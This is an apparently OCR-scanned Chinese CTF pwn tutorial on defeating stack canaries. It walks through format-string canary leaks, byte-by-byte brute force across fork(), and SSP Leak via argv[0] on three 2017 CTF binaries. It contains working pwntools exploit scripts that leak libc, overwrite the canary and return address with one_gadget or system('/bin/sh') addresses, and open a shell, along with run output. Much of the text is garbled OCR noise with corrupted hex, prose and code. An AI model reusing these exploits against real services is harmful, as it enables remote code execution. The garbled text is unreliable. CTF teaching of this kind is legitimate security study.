esARsFZ11AFSE 3C FB FF FF &8 8D 30 80 1B 00 00 EE 98 FA FF FF OOBRTFFEFAARIEDE  DOROTFRALDAIBGES 1ibc_7.25.s50:Stde
INPSABNF2Z11AFSD 31 FF EB 19 FO FF FF EB 28 OF 1F B0 00 00 00 00 LU LR ga LT ] LIS 71 1C 789660500 00

wesssnr211aFse | TIETITILT 6 #3 €3 @1 €8 62 FA FF FF 31 FF QUROTFFEPAGBIDAD  DOBOSGOLF2Z69F 010  [heap | : DRODS6 DG ]
MESEBAF211AF70 ES FB FA FF FF BF AD 86 01 00 31 CO EB OF FB FF .. .. BOBETFFEOASEIAE  DOBDSGOMF211ACDE  main+1FE
IESEBNF211AFED FF MC 89 E7 EB8 67 FA FF FF b8 39 €3 72 D2 OF 84 .L...g...N9.» | O0BO7FFEOAGBI000 00B00R00R0080AI2

PRI AT LS il A getshel | T

from pwn import *

context. update (os = 'linux', arch = 'amd64')

io = remote('172.17.0.2', 10001)

io.sendline('1") #ERA IR A SN FE R B RIE

io. recv ('username: ')

io. sendline (" %p. '*8) #1E XU T EME | b aYHbiE Ficanary
io. recvunti | ('password: ')

io. sendl ine ('n07_7h3_f146") O RIDIEIEF T, AT EEEE

leak_data = io.recvuntil (' [MicroWavel: ").split(Q[1].split(".")

leak_libc = int(leak_data[0], 16)

one_gadget_addr = leak libc — 0x3c3760 + 0x45526 #3+Eone gadget RCEihilt
canary = int(leak_data[5], 16)

log. info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget addr))

payload = "A"*1032 #padding

payload += p64 (canary) #1EffA0canary

payload += "B"*8 #padding

payload += p64(one_gadget addr) #one gadget RCE
io.sendline('2") #ERA AR TIEE2

io. recvuntil ("#> ")
io. sendl ine (pay | oad)

sleep (0. 5)

io. interactive ()

LR, HT R BBcanaryEFHEMBLAZEEME—MERNUFEFRITE, AT AT AR
iEEcanary. F{1ERE—TB—M5F"/CSAW Quals CTF 2017-scv/scv.
iﬂzl]%—/n\FFJc++EﬁJiE'qb41ﬁELFﬁr$, ERLLIDA FoRfifFERERB AR, BRREATZHEBL REEMNINEE




‘ ¥ | BIRRHIRETY
O ARME =1 B
while ( v25 )
{
LODWORD(v3) = std::operator{{{std::char_traits{char>>(fstd::cout, “ o - -—"%3
std::ostrean: :operator<{(vid, &st endl<{char,std::char_traits{char>>);
LODWORD(uS) = std::operator<{{{std::char_traits<char>>(&std::cout, “[=]SCV G0OD TO GO,SIR....");
std::ostream: toperator{<{uh, &std::endl<{char,std::char_traits{char>>);
LODMORD(vS) = std::operator{{{std::char_traits{chard>(fstd:icout, "-——--—ccmcmmmmmmcaa i £
std::ostrean: :operator<{(v5, &std::endl<char,std::char_traits<{char>});
LODWORD(ué) = std::operator<{{{std::char_traits<char>>(&std::cout, "1.FEED SCVU....");
std::ostream: :operator<<{(vé, Gstd::endl<{char,std::char_traits{chard>>);
LODWORD(u7) = std::operator{{{std::char_traits{chard>(&std::cout, "2.REVIEV THE FOOD....");
std: :ostrean: ioperator{<{{v/, Gst endl<{char,std::char_traits{char>>);
LODWORD(vE) = std::operator<{<{{std::char_traits{char>>(&std::cout, “3.HINE MINERALS....");
std::ostream: :operator<<(vs, &std::endl<char,std::char_traits<chard>>);
LODMORD(v?) = std::operator{{{st char_traits{char>>(bkstd:icout, "------—--comcommnanaaaaa it 1]
std::ostream: :operator<{<{(v?, &std::endl<{char,std::char_traits{chard>);
std: :operator<{<<std::char_traits<char>>{&std::cout, “>>");
std::istrean::operator>>(&std::cin, &w2h);
switch ( v2h )
{

case 2:
LODMORD(v15) = std::operator<<{{std::char_traits<{char>>(&std::cout, "“------cccoccccocaanaoooo il
std::ostream::operator<{(v15, &std::endl<{char,std::char_traits<char>>);
LODMORD(v16) = std::operator<{<{{std::char_traits{char>>(&std::cout, “[=]REVIEW THE FOOD........... ")
std::estream: :operator<{{(v16, &std::endl<{char,std::char_traits<char>>);
LODWORD(u17) = stﬂ::np!ratnr(((stﬂ::cnar_traits(cnar))(&stﬂ::cnut, Homee e e e e e e ——— ' H
std::estream::operator{{{v17, &std::endl{char,std::char_traits<{char>>);
LODWORD(v18) = std::operator{<{{std::char_traits{char)>>(tstd::cout, “[«]PLEASE TREAT WIM WELL.....");
std::estream: :operator<<(v18, &std::endl<char,std::char_traits<char>>);
LODWORD(v19) = std::operator<{<{{std::char_traits<char>>(&std::cout, "~
std::estream: :operator{{(v19, &std::endl{char,std::char_traits{char’>>);
puts{&buf);
break;

case 3:
v2s = 9;
LODMORD(v20) = std::zoperator{{{std::char_traits{char>>(&std:z:icout, “[#]BYE ™ TIME TO MINE MIEHRALS...");
std::ostream: :operator<<{(v20, &std::endl<{char,std::char_traits<char>>);
break;

case 1:
LODWORD(v10) = std::operator{{{std::char_traitsd{char>>(kstd::cout, " e e e s } ]
std::ostrean:operator<{{(vi10, &std::endl{char,std::char_traits<{char’>);
LODWORD(v11) = std::operator<<{<{std::char_traits<{char>>(&std::cout, “[#]SCU IS ALWMYS HUNGRY..... i £
std::ostream: :operator<<{{(v11, &std::endl<{char,std::char_traits<char>>);
LODWORD(v12) = std::operatord<{{std::char_traits{chard>(bstd::cout, "----vevceuoae i H
std::estream:::operator{{(v12, &std::endl{char,std::char_traitsd{char>>);
LODWORD(v13) = std::operator<<{<{std::char_traits<char>>(&std::cout, “[=]GIVE HIN SOME FOOD....... “J:
std::estream::operator<{(v13, &std::endl{char,std::char_traits<char>>);
LODMORD(v1h) = std::zoperator{{{std::char_traits{char>>(fstd::icout, “-—---—--mmmmmmm M}
std::ostream: :operator<{{(vis, &std::endl<{char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(&std::cout, ">>");
u26 = read(®, &buf, BxFSuLL):

break;
default:
LODWORD(v21) = std::operator<<{{std::char_traits{char>>(tstd::cout, “[=]D0 HOT HURT WY SCU....");
std::ostream::operator<<(v?1, Bstd::endl<{char,std::char_traits<char>>);
break;
H
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QEM|E i STXETISETE
BRI R & X MEFRSEERREY, (B2EMRT1 235 Frain K AMIEFRE, RARR3
23R IEIR, MTifEmainE AR L B RH. 1N, BAERER FloanaryffE, EAME? i)
MEHITN2, LIET2EMERA0EN. Eit, BATATRUET R H ARG BIE Foanaryll, MZEMLE
BH&iBcanaryfI{E “7" HK.

HEA VUPUUYYEUUEUUIUE
RCX BOANABOAONBOAAD2
RDX D0000000000000F 8
'RS1 AOBO7FFEBAGFOFD B
RDI D6ODB00000000000
REP BOAOZ7FFEBAGFABSE A
RSP 000B7FFEBAGF9FCE
RIP 00ANAR0BOALOBCCE
R8 BOOO7F567D16F708
R9 DBBB7FS67D16EGDD
R10 BB0O7F567D715148
R11 DBOBOAOAOABNO246
R12 00000000005009A0
R13 DOBOZ7FFEBAGFA168
R14 D0POBOOGO00B000B00
R15 fpANAAOBNNBNAANNG
EFL 00008202

£ ¥

“
[stack)]:B800807FFEBAGFOFDA

“

4 [stack]:08007FFEBAGFABRA

& [stack]:00807FFEBAGF2FCA

y main+238

4 debugBe1:00007F567D16F7 00

w libc_2.24.s50:_10_2_1_stdout_

4 debugB83: 00BO7F567D715140

L

u start

4 [stack]:0B0B7FFEBAGFA160

“w

-

ETPNE N el

O @ x |[0]Stack view

PRGN DRSS S T A 00000008006 02088 .datazunk 602 08¢

O00O7FFEBAGF9FDS DODDOODOOO6022F9 .bss:unk_6022F9

0O0O7FFEBAGFI9FED 000D0O0DOO400930 .plt:std::ios_base::Init::™Init()
OBOO7FFEBAGFOFER  0ABOROOBANLDB930 _plt:std::ios_base::Init::™Init()
IOPOFFFEBAGFOFFO 0OPOAOORON6D2088 .data:unk_6026860

0DDOTFFEBAGF9FFE OOPO7F567CDEG6519 1ibc_2.24.s0:_ cxa_atexit+19
0ODO7FFEBAGFAODD 0DODOBOBONODBBOT

000BO7FFEBAGFAOOS BOBO7FFEBAGFAB30 [stack]:BOBO07FFEBAGFAB30
AOPOFFFEBAGFAAIA 0OPOAOOBARGAIDFE .init_array:off_601DF8
0ODO7FFEBAGFADIS 0ODOOODOOOLDOETB sub_4OODEO:loc_hkOOE1B
000O7FFEBAGFAB20 OOBO7FFEBAGFA130 [stack]:@00B7FFEBAGFA130
0OPOFFFEBAGFAO28 0OODOOO10000FFFF

OO007FFEBAGFAB3P BDOBO7FFEBAGFAB4D [stack]:00007FFEBAGFAB4D
00007FFEBAGFAD38 00OODDO0BODLOOE31 sub_LOOE1E+13

080O7FFEBAGFAGL0 (OOOABOBBABDOEDN2

AO0O7FFEBAGFAB4E DODOBOOBOOLOBESD init+aD

0OPO7FFEBAGFAOSH 0OPOOOTEODODDAT7D

0OPO7FFEBAGFADSS 00PDODOPONODDOND

BOPO7FFEBAGFABGE OPOOOAOAOPLOBELD init

OBPO7FFEBAGFANGE 0OROOOOROOLOBIAB start

AO.00 RAGLOOZ 0 QAG BOAEOLLL e f st ack] : DOOO7FFEBAGFA160
[[60007FFEBAGFAG78 _11FC378A91FA3A0D | — e C 3 NAY
Y HHOFHBE B SRSRSLSRSRS SRS S RSLNiS 4 nit

0B0B7FFEBAGFABSB

B0807F567CDCCIF

==

libc_2.24.s0:_ libc_start_main+F1

RESHELRBNEZMANET 21681 ... .. Big! #HMMEFFHRZU\XERLERER. canary
X—RIPHFIENR T E R AR WEEE] T canary iR BRI AT AEME, FEIHSEFIMEcanary R EFAMLTR
00. X#FEMNAEHE — N EFBHEHERA S EAFZF B R IOEMER canary RSNt Ecanary T B
E)é, iﬁgﬁiﬁ?ﬁ&m%@%ﬁﬂitﬂ, EXAN00E SR, MMitcanaryBIE &I HM ANV FERT S
‘_FIB °

x | [@) stack view

90067FFEBAGFOFDO
00067FFEBAGFOFDS
00067FFEBAGFOFED
00067FFEBAGFOFES
00067FFEBAGFIFFO
00067FFEBAGFOFFS
00087FFEBAGFABEO
80087FFEBAGFABES
00067FFEBAGFABT0
00067FFEBAGFAB1S
00067FFEBAGFAB20
00067FFEBAGFAG2S
00067FFEBAGFAB30
00067FFEBAGFAB38
80087FFEBAGFABHD
80067FFEBAGFABHS
80067FFEBAGFABSD
00067FFEBAGFABSS
00067FFEBAGFABGO
00867FFEBAGFABGS
00007FFEBAGFAB7 0
00067FFEBAGFAB7S
00087FFEBAGFABEO
00087FFEBAGFABSS

v HEFL 00016203

3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131
3131313131313131

11FC378A91FA3A31

~

IfEcanary#l
BAVRARY
'"1'(0x31)Z18]
2B 0x000@
FF. FLASHE
WAR—EA
FrE

08007F567CDCC3F1  libc 2.24.50:_libe_start_main+F1
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XANEHERAVERTIEE2, e Hcanaryf{ET . SFEEIEENEBESNT7, JHRAIx37FEcanary—
B4,

111111111111 111111111111111111111111111111111111111311111111311111111111111111111111111112111121211111113111111111211111111111111
111111111111111111311111311111111

ke

)'E‘-’ﬁiﬂ‘]ﬁ'?jﬁﬁfl«}(iéﬂleakE'\]canaryﬁ?ﬁcanaryﬁ#ﬁ#ﬁ}%sheIITo AGIFHOBIA ] IR, A,
4, FESHAMEcanaryA A L 3paddingF AT B M E/L DN FRHMESRE L FRF (40 “ABCDE” ) , LUE
Fi@idio. recvunti| ) BITENRL, BrlE#iElcanary IR [a)5a
B 7B R p X T AR leak canaryz i, FEFHHAIEELINEM AT L leak canaryBI73k, NEHR
FRAAR.

Ox02Z it iZziEFFlcanary iRk

canaryZ FiABUA AR R LR, BREANEIITRMAINEKRRK. U2H45), BEREB—1\x00, HJEE
B R0x10073=16777216 (ZELfR ERTFcanaryfIEEHIN S /M FXANME) 641iTE’Jcanary1EEELj<$
MER. LI, —BcanaryiBHKM, FEFMEIMEIER, canaryﬁﬂ_’.Aﬁ REH, FEEHEMEE.
B2, ATFRE—MHERNFFENcanaryBHE—HH, HREFESNHE, BTHERNEIN THRLE, A
Fr#HBERIASEWEIEHIE, AT UHTRE. EEZHATT ORI R ALE R L IE AT E
B1B— THIT/NSCTE 2017-pwn2/pun2

1in
{
char vi; /7 [sp+1E L
pid s 11 [sp

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while ( 1)
{
write(1, “[=] Do you love me?[Y¥Y]\n", Wx17u);
if ( getchar() t= 'Y )
break;
vl = getchar();
while ( v1 = *\n" && vi1 )

'= Fork();
if ( vz )

ifF (v2<=0)

iF(uv2<n)
exit(0);
H
else
{
wait(0n);
»
)
else
{
sub_BORA7FA();
}
¥
return 0;



QEME : STNETISETTER

maintf EAE— N EREANFIET, MAYESfork—NFHIEL K, FHIEMITE S sub_80487FA, FEIX/NiFH+
T%E—Aﬁ‘t%?ﬁ%,ﬁﬂﬂ—/\ff& i ST o

1int sub BOD4BTFA()
{
char =s; /7 ST18_a@E1
int buf; 7/ [sp+1Ch] [bp-1Ch]E1
int v3; /7 [sp+*28h] [bp-18h]E1
6| int va; /7 [sp+*2&h] [bp-14h]@
7| int v5; /7 [sp+28h] [bp-10h]E1
8| int vé; /7 | ‘l.'_'_llf [t h)@1

)6 = wMK_FP(__GS__, 20);

= (char =)malloc(@x&bu);
6| sub_BBMBTED(BLuF);
7| sprintf(s, "[+#] Welcome to the game s, Ghuf);
8 printf(s);
) puts(“[=] Input Your 1d:");
0 read(®, &buf, @x100u);:
1| return *MK_FP(__GS__, 20) " vé;

EXXiaFARRA U ERTBRERAT LU EcanaryfI{E (ZEAXNMERZENAIT) , ATATEIRE
canarxﬂ']ﬁ_t ?*Zﬂ];ﬁz%% ;Ef&‘l!ﬁ1l]5%1ﬂlt le/l\hr“

T va ¥ L b 2 Aseslian B ymuvi
Debug View x] 1] Structures 4] Eruns
:| DA l'\E' EIF O & x |iGeneral registers
LtexU:OBONE92Y ; - - ——— ~ EAX DOOBOBZA .
~text B8 0HE929
<text 08058929 loc_BONE929: : CODE XREF: mains7CTj [B: ETuRIN
-text :DR0L4B929 : maine+as? ECX ppoDORRD o
. EDX 0DRDOROD
-Lext:BROKE92E mov [esp+1Ch], eax ES] pOOOORET o
Ltext: 0808932 cap dword ptr [esp+iCh], 0 EDI F7FADOAA -
o e -
—* _text:0BONS93E fmp  short loc 8048968 ECEESSRIEN
.text:OBONEIND | iR I
~text :BROMEIND EFL 000002 02
LLext 86048950 loc_B088950: ; CODE XREF: main+97T}
-text:0HB4E940 crp dword ptr [espsiCh], @
00000540 08048540: main:loc BO048540 (Synchronized with EIF) w
0] Hex View-1 0 & x |[3Stack viev
DROAE900 2C FD FF FF EB 97 FC FF FF 83 F8 59 75 19 E8 8D . ~ |FFec97E0  [TTTTTT]
0E0RE910 FC FF FF 88 &4 24 18 B0 7C 24 1B 04 74 08 80 7C .n FFOCOTES  OBOABASD .rodata:aboYouloveHe?y
24 1B 00 75 F2 EB 02 EB M4 EB 12 FD FF FF 89 L4 ] FF LLLDLL G b
2% 1C B3 7C 2h 1C B0 75 07 EB BC FE FF FF EB 28 [} Fi c FTE2SD3B  libc :__cxa_atexits18
nonsou 7E BE C7 B4 2% 00 00 0@ 00 EB &D ..m Fi F7FADIDC  1ib :_ctype_b+8
FC FF FF EB 13 83 7C 24 1C 00 79 0C €7 04 24 00 i Fi 0BOLB2ZAC

! @0 00 00 EB 98 FC FF FF E9 78 FF FF FF B8 00 00
00 00 CP C3 &6 90 64 90 66 90 &6 90 46 90 46 90 ... LRTFE
55 57 31 FF 56 53 E8 15 FD FF FF 81 €3 75 16 00 UMY, FFOCORD0  ODOO0DET

BE048990 OO0 83 EC 1C BB &C 2% 30 8D B3 OC FF FF FF EB 85 FFECYROY FTFADDB® libc 2.2

AR AEHME AT T — M alRE, IDAﬂﬁE’h&hm%E“ﬁfh, pidKTF0, HIESMITEcal | _waitFFFiH
RN, W BRBNEENENZE|FHEZAPRBAMITEIE, BELHR?

ik, FATRRER I ERattach FifiE, fﬂzﬂ]%?&,“‘attachTLﬁ,mH'J;Jﬁﬁ EMARGE, Bt
0x080487b8 £ S, SR[FFEshel | RIZITIERF
root@@d5dc6d7cl6a:~# ./pwn2
[*] Do you love me?[Y]

i’

u

ORDABYEE
LLLELL -0

&.so:F7TFADOO

[*] Input Your name please:

RIBREFHIRIE, WAYZERXNHER S fork—NFiHEE, HEEIIRAEMIDA attach.
“ .

o] Name

1 [32] /bin/bash
10 [32) /bin/bash
14 [32] /bin/bash
32 [32] /bin/bash
66 [32] /pwn2
67 [32] Jpwn2

Cancel Search Help

Line 1of 6
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BlEAK T, B /pwn2, FHAflattachBiME? BT FIHIZM IDEERFHER, FAINiZattach#IRZ IDA6THY
%ﬁhﬁﬁﬁMﬁ&mMﬁAT¥ﬁﬁ¢o

-text:08B4B7AS lea eax, [ebp+s]

.text:08B487A8 mov [espsh], eax
text:080487AC mov dword ptr [esp], offset as
_text : 08048783 call ___is0c99_scanf
7 text:088487B8 mov [esp], eax i s
text:080487BE call _strlen
text:080487C3 mov [ebpevar_50], eax
-text :080487C6 mov eax, [ebpruvar_58]
text:08B4B7CY9 add eax, 1
.text:DBBAB7CC mov [esps8], eax i
.text: 08848700 lea eax, [ebpss)
text: 08048703 mov [espes], eax P src
_text:08B4B7D7 mov eax, [ebpedest]
-text :080487DA mov [esp], eax i des
.text:O8B4E7DD call _mencpy
2 b BN s = NENCNTTE= SN S AEEap st e ' s IO
ETRMEBERRAUFHFREREAME ibehpy R ik, FHHEMKELEBlcanaryIFHH T, X—FEHK
MABIE.

MERNBERBTERENER, BETRMISEMAE Mcanary 7. HIVERMNBERZEMIFMN, BE
paddingZ FERIEM —{LcanaryFT5. B, XASCEBMYE/NE] T 0x00-0xFFH256NFH5, —BXDFT
BXT, canaryBiFTRREAHNELE, TREFAINEIEM. FURNEERE—TENSFIERIERF
MHATE.

[*] Do you love me?[Y]

Y

[*] Input Your name please:

Welcome to the game 1[*] Input Your Id:

Do you love me?[Y]
Do you love me?[Y]

[*] Input Your name please:

1111111111111111111111111

[*¥] Welcome to the game 1111111111111111111111111[*] Input Your Id:
1

*** stack smashing detected *#**: ./pwn2 terminated

[*] Do you love me?[Y]

HATTAEER], HcanaryFEEFTREBE—Do you love me?[Y], MARIBIMHIA (stack smashing
detectedBE A it EstdoutTistderr, FNEEARHAITHIET, HMNSET TR . FRLAFRNSHIA

T
canary = "\x00'
for i in xrange(3):

for j in xrange (256) :
io.sendline("Y")
io. recv ()
io.sendline ("%19$p") #ittEEAR _EAY | ibetthtit
io. recvuntil ('game ")
leak_libc_addr = int(io.recv(10), 16)

io. recv ()

payload = 'A'*16 ##i&pay | oadtRHicanary
payload += canary

payload += chr (j)
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io. send (pay | oad)
io. recv ()
if ("" = io.recv(timeout = 0.1)): #0Rcanary B F T ALIEAKIE
1, ROz AN" Do you love me?”, FELLEBITE = recviIERFIBIZE AN
canary += chr (j)
log. info('At round %d find canary byte %#x' %(i, j))
break

log. info('Canary is %#x' %(u32(canary)))
system_addr = leak libc_addr — 0x2ed3b + 0x3b060
binsh_addr = leak_libc_addr — 0x2ed3b + Ox15fa0f
log. info('System address is at %#x, /bin/sh address is at %#x' %(system_ addr, binsh_addr))
EiTHIEAN T :
:~# python exp.py
Opening connection to 172.17.0.2 on port 10001: Done
At round @ find canary byte 0x36

At round 1 find canary byte ©Oxel

At round 2 find canary byte 0x77

Canary is 0x77el3600

System address is at oxf7dfde6e, /bin/sh address is at e@xf7f2laef

IR canary BT, #BUEHRNIFMATIAS I Kgetshel | T
0x03 SSP Leak
f T @& L EcanaryZz 4, HIVEBE—ANAIET—F|H_ stack chk_fai | REGHE(SE, X5
EERAK, ®iiEiL#H Igetshel |, BEREFBINNEEZMENf agHEEMEAEETAFERE, FKIIATEE
A LERA— MR RREREE( T E Lk, XN 777EHSSP (Stack Smashing Protect) Leak.
EFIRZA, FHANEREB— RcanaryR{EAZIFZFRERIRIZ. Bk, canary@MENEN, RBASE
T IEBRRIEEREMALEITIET R, MEBkEEElcal | __stack_chk_fai &, ABENFHAIEK
W, PUITEX R, EFERY, RELEBET—1T
*** stack smashing detected ***:[XXX] terminated. XEBRI[XXX]RIEFMBEF. RER, XITFERA
BRETTE, BER_ stack,chk fai I?TEﬂﬁﬂEE'] mME, BFNEF—ERNKREIIBHNETE (FEFEELF
*%‘tiﬁ—I&ﬁﬁﬁhr%) . M REIINPNEZE, RBEERHIRM. F(1F—T__stack_chk_fail
BERD, SAMESINT:
void __attribute__ ((noreturn)) _ stack chk fail (void)
{

__fortify fail ("stack smashing detected") ;
}
void __attribute__ ((noreturn)) internal function _ fortify fail (const char *msg)
{

/* The loop is added only to keep gcc happy. */

while (1)

__libc_message (2, "¥¥k %s ***: %s terminated\n"
msg, _ libc_argv[0] ?: "<unknown>");

}
FHA1EZ__ | ibc_message—{TIfii T*** %s ***: %s terminated\n. XEHEH S B EmsgFl_ libc_
argv[0]. char *argv[]@mainl¥HIEH, argv[0] FHMNMEEFE, BEXPargv[0IFEETHELE. R
LASSP |eak IHT/ATL RIBIT &% EfYargv [0135%T, AMMiL__stack_chk_fai I#fili k& G HFHAVEEZME
BT,
HRBIRE—EE2MHF/RedHat 2017-pwn5/pwn5. X MEFSIF |l agiZBE|—R B Fflagii 2 FEE
i, SRIEARvul R
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1int
2K

3

-

N @S ® NN

FIl

__cdecl main(int argc, const char ==argu, const char ==enup)

E =v33 /7 STIC_hEn

setbuf(stdin, 0);
setbuf(stdout, 9);
setbuf(stderr, 8);

v3 = Fopen(*/root/flag.txt",

ey s

fread(flag, 1u, Bx32u, vi);

vul

(;

return 1;

H

vul u?ﬂlﬂhﬁ—’\*&’,ﬂtﬂﬁﬂ

1signed int wvul(

4

3| signed int result; // eax@3
int v1; /7 edx@3
char s; // [sp*10h] [bp-h8h]a@1
int v3; 7/ [sp+*sCh] [bp-Ch]@1

sy

RER, XMEBRTHELR

u3 = *MK_FP(__GS__

puts(”
gets(
ifF(?

» 20)5
input something”);
S H

stremp(ts, Flag) )

printf("WellDonet”, Flag);
result = 13
ul = «MK_FP(_GS__, 28) " vi;

return

result;

EfRBFAAGE, Mk XfcanaryBFE. BR

=, flagENFEFH
NEREEN, HATMATLUERSSP Leak. FA1EEFIMTcanary It FIT TS, B A AEIEF Fifedx

{FFEF#EN_ stack_chk_fail, SAFE—Targv[0]7EM.
‘IDA View-EIP O & X  i3tGeneral regis
.text:DB04B670 A | |[EAX 00000001
Ve  CODE %) Evx oeooosse o,
© | _text:08048675 mou edx, [ebp+var C] A LULLBL a0
EIPD EDX 08600008
- = |.text:88B4867F jz short locret 8048686 ESI 00000001 «
' © .text:08048681 call stack_chk_fail EDI F7F89008 « 1
! -:e“:=:m::: ST EBP FF8749D8 « [
-Lext:
| .text:08048686 locret 8048686: = ooee x¢ ||ESFERSFASEOEG ]
9 | text:88048686 leave EIP 08048678 w v
© |.text:080848687 retn EFL 00000286
.text : 08048687 vul endp
.text : 08048687
.text : 08848688
00000686 08048686: vul:locret_ 804 (Synchronized with EIP) v
< >
| Hex View-1
Blcal | _ stack_chk_fai | FORHMERAIF7EREE, —EF72th4t
1d_2.24.s0:F7FAEB10 ;
P
“ 1d_2.2%.s0:F7FAEB11 push ecx
“ [1d_2.2%.s50:F7FAEB12 push edx
® 1d_2.24.50:F7FAEG13 mov edx, [esp+1dh]
® 1d_2.24.50:F7FAEG17 mov eax, [esp+8Ch]
“ 1d_2.24%.50:F7FREB1B call near ptr unk_F7FA78CH
“ 1d_2.2%4.s50:F7FAEB28 pop edx
“ [1d_2.2%.s50:F7FAEB21 mov ecx, [esp]
® [1d_2.24.50:F7FAEG24 mov [esp], eax
© 1d_2.24.50:F7FAEB27 mov eax, [esp+h]
“ 1d_2.24.50:F7FAEB2B retn ach
1d_2.24.s0:F7FAEB2B ;
bl 1d_2.24_so:F7FAEB2E db 66h ; F
“ ld 2.2%.s0:F7FAEB2F db 986h H
X—E ALl L2 BT SHERMNKE, FHiliEFretn 0Ch—1T/EF4, SREF7HLEIT __stack_chk_fail




QEM|E i STRETISETER

1ibc_2.24.50:F7ECCF10
1ibc_2.24.50:F7ECCF10

stack_chk_fail:

© |libc_2.24.50:F7ECCF15 add eax, BBCBEBh

“ 1ibc_2.24.s0:F7ECCF1A sub esp, OCh

“ 1ibc_2.24.50:F7ECCF1D lea eax, [eax-53D67h]
“ ibc_2.24.50:F7ECCF23 call __fortify_fail

i s EREETERPIE b L e e S S L L s

call near ptr—ITHSIHEBMTLABHNKEE, EEMNEARISfEcal | __fortify_fail, FHAIERIFIXE

libc_Z2.24.50:F/ELLFEY ; ATCributes: noreturn

libc_2.2h.50:F7ECCF38

libe_2.2%.50:F7ECCF38 _ fortify fail proc near ; CODE XREF: libc_2.24.so:_ stack_chk_fail+13Tp
libe_2.24.s0:F7ECCF38

1libc_2.2%.s0:F7ECCF30 var_16= dword ptr -10h

libc_2.24.s0:F7ECCF30

1ibc_2.2%.50:F7ECCF30 push ebp

libc_2.24.s0:F7ECCF31 push edi

libc_2.24.50:F7ECCF32 mov ecx, 5

libc_2.24.50:F7ECCF37 push esi |
libc_2.24.s50:F7ECCF38 push ebx

1libc_2.24.50:F7ECCF39 nov esi, eax

libe 2.24.s0:F7ECCF3B call near ptr unk_F7EF6625

libe_2.24 . so:F7ECCF48 add ebx, BBCOCEGH

1libe_2.24%.50:F7ECCF46 sub esp, 1Ch

1libe_2.24%.50:F7ECCF49 mou ebp, eax

libc_2.24.s0:F7ECCF4B lea edi, (aStack - OF7F89808h)[ebx] ; “stack"

libc_2.24.s0:F7ECCF51 repe cmpsb

libc_2.24.s50:F7ECCF53 lea edi, (a$STerminated - OF7F890068h)[ebx] ; "s=x %5 *=x: %s terminatedin®

libc_2.24.50:F7ECCF59 setnz al
libe_2.24.50:F7ECCF5C movzx eax, al

libc_2.24.50:F7ECCF5F mov esi, eax

libe_2.24.s50:F7ECCF61 lea eax, (alUnknown - BF7FB9808h)[ebx] ; "<unknown>"
libe_2.24.s0:F7ECCF67 add esi, 1

libc_2.24%.s0:F7ECCF6A mov [esp+iCh+var_18], eax

1libc_2.24.s0:FFECCFGE xchg ax, ax
libc_2.24.s0:F7ECCF70

libc_2.24.50:F7ECCF70 loc_F7ECCF78: ; CODE XREF: _ fortify_ fail+SBJj
libc_2.24.50:F7ECCF70 mov eax, (off_F7F8C5FB - OF7F89080h)[ebx]
libc_2.24.50:F7ECCF76 mov eax, [eax]

libc_2.24.50:F7ECCF78 test eax, eax

libe_2.24.s50:F7ECCF7A cmovz  eax, [esp+i1Ch+uar_ 18]

1libc 2.2%.s0:F7ECCF7F push eax

MRRTEBELRXZMHAMIE, FHIE—TF5, RS LMXREARHF LB —ERRE
void _ usercall _ noreturn _fortify fail(_ BYTE *ai1@<{eax>)

{

signed int v1; // ecx@1

_BYTE =u2; // esi@1

bool w33 /S zf@1

_BYTE =ul4; // ebp@1

const char =u5; /7 edi@1

int i; // esi@s

const char »u?7; // eax@5

void =retaddr; // [sp+*26h] [bp+Bh]@1

U =5
u2 = al;
u3 = &retaddr == B;
vl = al;
u5 = "stack";
do
if ( tul )
break;
U3 = #U2++ == XUS++;
—=ILhiR
H

while ( u3 );
fFor (i = %3 + 1;

({void (_ cdecl =){int, const char *, BYTE *, const char *))unk_F7E3ACEQ)(
i,
"xxx %5 xxx: %s terminatedin”,
ul,
v7) )
{
v/ = =off_F7FBCSFO;
if ( t=off_F7F8CS5F0 )
u? = “<unknown>";




OB

BIR, _ libc_messageXI N T A/ ek #FE$tunk_F7E3ACED, Targv[0]13FRAINIRV7, FEMNTIELLHE DO
T, RIFEBSHEINZINF ] Hargy 0] & A EERF TS Beax

11bc_2.24.S0:F/ELLF/B

1ibc_2.24.50:F7ECCF70 loc_F7ECCF708: ; CODE XREF: _ fortify_fails5B}j
" libc_2.2h4.s0:F7ECCF70 mou eax, (off_F7F8C5F0 - BF7F89000n)[ebx]
" libc_2.24.50:F7ECCF76 mov eax, [eax]
" libc_2.24.s0:F7ECCF78 test eax, eax
© [libc_2.24.so0:F7ECCF7A cmovz  eax, [esp+iCh+var_18]
“ libc_2.2h4.s0:F7ECCF7F push eax
" libc_2.2h4.so:F7ECCF88 push ebp
" libc_2.24.s50:F7ECCFB81 push edi
" libc_2.24.s0:F7ECCF82 push esi
“ [1ibc_2.24.s0:F7ECCFB3 call near ptr unk_F7E3ACES
" libc_2.24.s50:F7ECCFB8 add esp, 16h
" libc_2.2h4.s0:F7ECCFBB jmp short loc_F7ECCF70

libc_2.24.s50:F7ECCFBB _ fortify_fail endp
libc_2.24.s0:F7ECCFBB
1ibc_2.24.50:F7ECCFBB ;
AB2IX Neax N IBE e, X‘J‘l:l:ﬁ\ﬂtﬁ%fﬂ,[*ﬁﬁﬂ]_Il«,Ufii).,, <unknown>iX N AT 88 B9 £ R MR T Sk
esp+1Ch+var_10, $A/Geax M\ (of f_F7F8C5F0-0F7F89000h) [ebx] NEX{E, RS ZZ=M|3B<unknown>iE k. B
Plargv [0] NFEREAR S TMi. FM15RE—T (of f_F7F8C5F0-0F7F89000h) [ebx] 5% THFE .

HE&EIN, XITRBEENELKIE, FTLLFEEOptions—>General. .. Bi&E T — TNumber of opcode
bytes (non—graph) KIfE 48, FMEERopcode, TR :

Fortify_ fail+5BLj

=
© 1ibc_2.24.50:F7ECCF78 85 CO test eax, eax
© 1ibe_2.24.50:F7ECCFTA .
“ Nibc_2.24.so-F7ECCF7F § G IDA Options x
“ ibc_2.24.50:F7ECCFS0 &
. o
. i::z:::g::z:;i;:gg::; : Disassenbly Analysis Cross—references Strings Browser Graph Hisc
© 1ibc_2.24.50:F7ECCF83 E . . . .
“ Nibc_2.24.sn:F7ECCFER § Address representation Display disassembly line parts
